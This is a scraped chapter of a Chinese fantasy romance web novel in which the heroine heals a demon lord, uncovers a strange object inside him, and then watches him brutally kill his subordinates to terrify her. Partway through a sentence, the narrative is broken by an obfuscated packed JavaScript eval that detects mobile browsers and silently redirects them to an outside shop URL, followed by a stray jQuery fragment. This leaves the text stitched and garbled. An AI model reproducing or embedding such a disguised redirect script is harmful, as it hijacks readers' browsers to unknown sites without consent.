文趣网 > 其他小说 > 合欢劫 > 42. 你吓到她……
    大魔头突然在眼前晕倒,这种情况要怎么办?

    凌欢蹲在直挺挺躺倒在地上的烬曈面前,双手托着腮,愁眉苦脸地盯着他看。

    怎么办?

    趁他病要他命,一剑捅死他?

    可她心中有疑惑未解,拿起剑也下不去手。更何况,要是尊主死在洞府里,外面那成千上万的魔修得把她和鹤九皋剁成肉酱。

    “真是不让人省心。”

    凌欢叹了口气,认命般地抓起烬曈的胳膊,将人重新弄回了狐裘大床上。

    人都晕了,衣襟大敞着也顾不得什么非礼勿视。

    凌欢一把掀开他松垮的长袍,待看清他的胸口时,忍不住倒吸了一口凉气。

    只见烬曈那小麦色结实的胸膛上,赫然印着一个散着淡淡灵气的掌印。掌印周围,暗红色的魔气与金色的灵力疯狂撕扯,淤血严重得吓人,几乎连成了一片触目惊心的紫黑色。

    是了,天工府的掌门可是太臻三境的修为,其他四位长老也有两位入了太臻境,他以一敌五,想要全身而退是很难的。

    中了掌门拼死一击的掌心雷,这人居然还能像个没事人一样的演登徒子来“非礼”她,真是坚强得很。

    ……不过毕竟是血煞门掌门嘛,在小弟面前还是要面子的。

    凌欢啧了一声,鬼使神差地伸出三指,试探着按在了烬曈那冰凉的手腕上,分出一缕神识想要去探他的灵脉。

    动作做完了才想起魔修和普通修士生理构造完全不同,听说魔修是没有灵脉的,全靠魔丹运转魔气……

    等下。

    烬曈为什么有灵脉?

    凌欢诧异的看向烬曈的脸。

    他不是魔修吗?

    是魔修并非外界传闻那样没有灵脉?还是烬曈和普通魔修不太一样?

    凌欢又加注了几分灵力,仔细去探。

    烬曈的灵脉强劲通透,里面游走的灵力磅礴,看起来与普通修士无二。只是他的灵脉外壁被一层浓稠如墨的魔气死死遮罩着,不太明显。

    本以为外层的魔气是附着于上面的类似于“污渍”的存在,但若是认真感受,便能察觉它们也是在流动着的。

    这还真是……奇特啊。

    凌欢心中大震,她的神识顺着灵脉一路小心翼翼地向上攀爬,越过重重魔气的封锁,最终来到了灵台处。

    到了这里,她才诧异的发觉,灵台内有无数亮晶晶的灵元,但伴随着这些灵元的却是同样多得数不清的、长得和灵元一模一样却通体漆黑的“魔元”。

    要知道正道修士一旦灵台被魔气侵蚀,轻则修为倒退,重则陷入魔障变成疯子。

    但在烬曈的灵台中,两种截然相反的力量错落交织在一起,竟奇异的达成了平衡。

    这样奇特的情况她从来没遇到过,好奇心瞬间高于一切,第一反应是等会儿一定要问问师尊见没见过这种状况。

    凌欢没敢贸然往他的灵台深处去。

    她深吸一口气,控制着神识顺着灵脉游走,使用合欢宗秘术,一点点地为他抚平灵脉的伤势。

    合欢宗秘术对灵脉有疗愈之效,有伤能抚平创伤,无伤则强健培元。

    细论起来,这还是她头一次用秘术给人疗伤呢。

    和辛暮在一起的时候,是直接跳过了这一步,辛暮对她是一味付出,从不求她为自己做什么,也没让她为自己抚愈过灵脉。

    后面的叶青书一介凡人,灵脉几乎没有,自然就没有疗愈的必要。

    凌欢一边催动灵力,一边盯着烬曈的脸发呆。

    今日发生在烬曈身上的令人费解的事情太多,为他抚平灵脉就不取灵元了。

    可当她的神识走到某处时,突然发现了一个极其奇怪的东西。

    那是一个看起来约莫拳头大小、圆润的类似三角形物体,通体漆黑如墨,静静地悬浮在丹田处,散发着古怪的吸引力,仿佛能把周围的一切都吸扯进去。

    它不像是法器,看质地不像玉,真要说像什么的话倒像是……一块骨头?

    凌欢敢确定,这绝对不是正常修士会有的东西!

    那这到底是什么?

    凌欢实在憋不住好奇心,正准备控制神识再靠近一些仔细查探。

    突然,原本昏迷着的烬曈毫无征兆地睁开了双眼。

    那双眸子在一瞬间黑得彻底,再无半点先前的慵懒。

    一股狂暴的魔气瞬间自他体内爆发,将凌欢的神识强行轰出了他的体外。

    “哎!”

    凌欢惊呼一声,险些一屁股坐到地上。

    还没等她稳住身子,一只大手如鹰爪般死死地扣住了她的手腕。

    烬曈在床上坐起身,衣服松垮,胸口的淤血在昏暗的洞府里显得格外诡异。他那双彻底化为墨色的眼睛死死地盯着凌欢,眼神里是前所未有的冰冷与探究。

    “你刚才……在做什么?”

    他的声音沙哑,不带一丝温度:“你故意接近本尊,究竟有何意图?”

    凌欢被他捏得手腕剧痛,骨头都仿佛要碎裂开来。

    她疼得眼眶泛红,却倔强地没有挣扎,直视着他那双没有温度的黑眸:“意图?心中有惑,便来了。”

    “心中有惑?”烬曈嘴角扬起一抹嘲讽的弧度,“怎么,觉得本尊是个菩萨心肠的好人?”

    凌欢抿着唇摇头:“不至于,但也没有到传闻中十恶不赦的地步。”

    烬曈死死盯着她那坦荡澄澈的目光,想从里面看出什么诡计来。

    但是什么都没有,那双眸子里没有一点熟悉的虚伪和算计。

    两人就这么僵持了好一阵儿,烬曈手上的力道不仅没有松开,眼底的阴鸷反而愈演愈烈。

    其实一开始凌欢问他夜袭天工府的真相时,他意识尚且清醒,只是陡然间被扒开了伪装,僵住了。

    心境过于杂乱,导致他牵动伤势,陷入短暂的昏迷。

    醒来后,他才能做出该有的反应。

    一个在黑暗里待久了的人,看到光的第一反应是警惕与怀疑。

    这个女人太聪明了,聪明到看穿了他荒唐行为下的本质。

    但是在这个世界上,怎么可能会有人真的站在他这个恶贯满盈的大魔头的立场上去着想?怎么可能会有人觉得他是个好人?

    假的。

    一定是假的。

    这不过是正道女修为了瓦解他的防线、为了救出鹤九皋而故意编造的谎言!

    “不管你抱着什么恶心的目的。”烬曈的面色彻底阴沉下来,整个人散着令人窒息的暴戾之气。

    他猛地一拽凌欢,将她从床边扯了下来,声音冷酷如刀,“本尊告诉过你,昨夜是你最后离开的机会。既然你没走,那就永远别想再走了!”

    凌欢的手腕痛得几乎要断掉,眼泪在眼眶里打转。

    她有些惊恐地看着眼前的男人——

    此时的烬曈,眼睛已经彻底变成了深不见底的墨黑,那张俊脸不再有前几天的吊儿郎当无赖之色,取而代之的是纯粹的阴狠与疯狂。

    凌欢的身体忍不住开始剧烈颤抖,她突然发现自己似乎要玩火自焚了,真正惹怒了这个喜怒无常的魔头。

    可是她也没说什么啊?

    哪怕是她猜错了,烬曈作为魔头,看到有人把他的所作所为往好的地方曲解,不是应该高兴才对吗?

    “放开我……你带我去哪?!”

    烬曈根本不理会她的挣扎,强行拽着她的手腕,拖着她大步流星地出了洞府,一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756300|205456||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    路直奔万罗殿。

    此时的万罗殿内,光线昏暗,四周的墙壁上密密麻麻的骷髅头正散着惨白幽光。

    殿内的宝物御座下方,正有三个魔修正撅着屁股窸窸窣窣的不知道在干些什么。

    “砰!”

    万罗殿的大门被狂暴地轰开。

    烬曈拽着凌欢大步流星地走进来。

    他一把将凌欢拉到自己身前,右臂搭在她肩上绕到颈前,从背后将她死死地禁锢住。

    凌欢下意识侧首,还没弄清楚他的意图,下巴吃痛,被烬曈掰正回去,面向大殿中央。

    “尊……尊主?!”

    殿中那几个的魔修吓得魂飞魄散,急忙跪倒在地,疯狂叩头。

    烬曈贴在凌欢的耳畔,声音低沉而残忍。

    “你看好了。”

    话毕右手猛地一挥,魔气脱手而出,气势狰狞,瞬间轰向其中一个魔修。

    “轰——!!”

    那魔修连惨叫都没来得及出,整个人直接被那股恐怖的力量轰飞了出去,狠狠砸在了四周挂满骷髅的石墙上,像个熟透的西瓜一样,炸裂开来!

    漫天血雾与碎骨残渣如雨点般飞溅,将墙上惨白的骷髅头染成了妖异的紫色。

    “啊——!!”

    凌欢哪里见过这种阵仗?她吓得瞳孔剧烈收缩,一双杏眼里满是恐惧,忍不住发出一声凄厉的尖叫。

    然而还没有结束。

    烬曈的手指微微一动,第二道魔气如闪电般探出,将地上第二个吓傻的魔修凭空抓到了半空中。

    手掌在空中狠狠一握。

    那个活生生的人,就在凌欢眼皮子底下,直接被捏成了一团碎雾!

    “看到了吗?”

    烬曈掐着她下巴的手指再次收紧,逼着她看着满地的碎肉与血泊,在她耳边低笑。

    “本尊就是这么凶残暴戾、丧心病狂的人。本尊是魔头,杀人不眨眼。别说是那些自诩正道的外人,就是本尊养的狗,本尊心情不好,也一样随手杀了、捏碎了玩儿。”

    温热的鲜血甚至有一滴溅在了凌欢惨白的小脸上,带着刺鼻的腥味。

    烬曈那双墨黑色的眼睛里没有一丝人类的情感,死死盯着怀里瑟瑟抖的少女,一字一顿地问:

    “你现在,还觉得本尊……不是传闻中的坏人吗?嗯?!”

    “啊——!放开我!放开我!!”凌欢开始疯狂挣扎。

    本以为她的心理素质经过了两轮历练已经足够坚强,但是看了这场面,她之前那断胳膊断腿的根本就是小儿科。

    身后是冰冷狠厉、随时可能把她也捏碎的杀人魔王,眼前是修罗地狱般的血腥屠宰场,自己又被死死钳制无法动弹。

    凌欢吓得眼泪决堤,毫无形象地在烬曈怀里疯狂地尖叫、挣扎。

    烬曈看着怀中惊惧的女子,眼底墨色淡了些,下一步动作微微有些怔愣。

    就是这迷茫的一刹那,一道金光闪现。

    有风在大殿中席卷成型,呼啸着朝烬曈而来。

    紧接着,一只修长干净、带着淡淡玉质光泽的成年男子手掌,无声无息地扣上烬曈钳制凌欢的那只手的手腕。

    虚空微微波动,一袭白色金纹长袍、金发如瀑的男子出现在视野中。

    凌欢停下挣扎的动作,微微睁大了眼。

    溯光?

    溯光怎么现形了?

    此时的他和平日里虚影形态的凌驾睥睨的神态全然不同。

    高高在上的神祇面容上,覆盖着火山将爆的愤怒。

    两个男人的视线交汇,金色与墨色在空气中撞出火星。

    气氛紧绷间,溯光神色古井不惊,一字一顿开口。

    “放手,你吓到她了。”